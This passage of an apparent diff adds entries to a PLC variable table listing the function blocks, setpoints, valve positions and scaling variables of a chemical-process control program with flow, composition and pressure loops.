+52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; 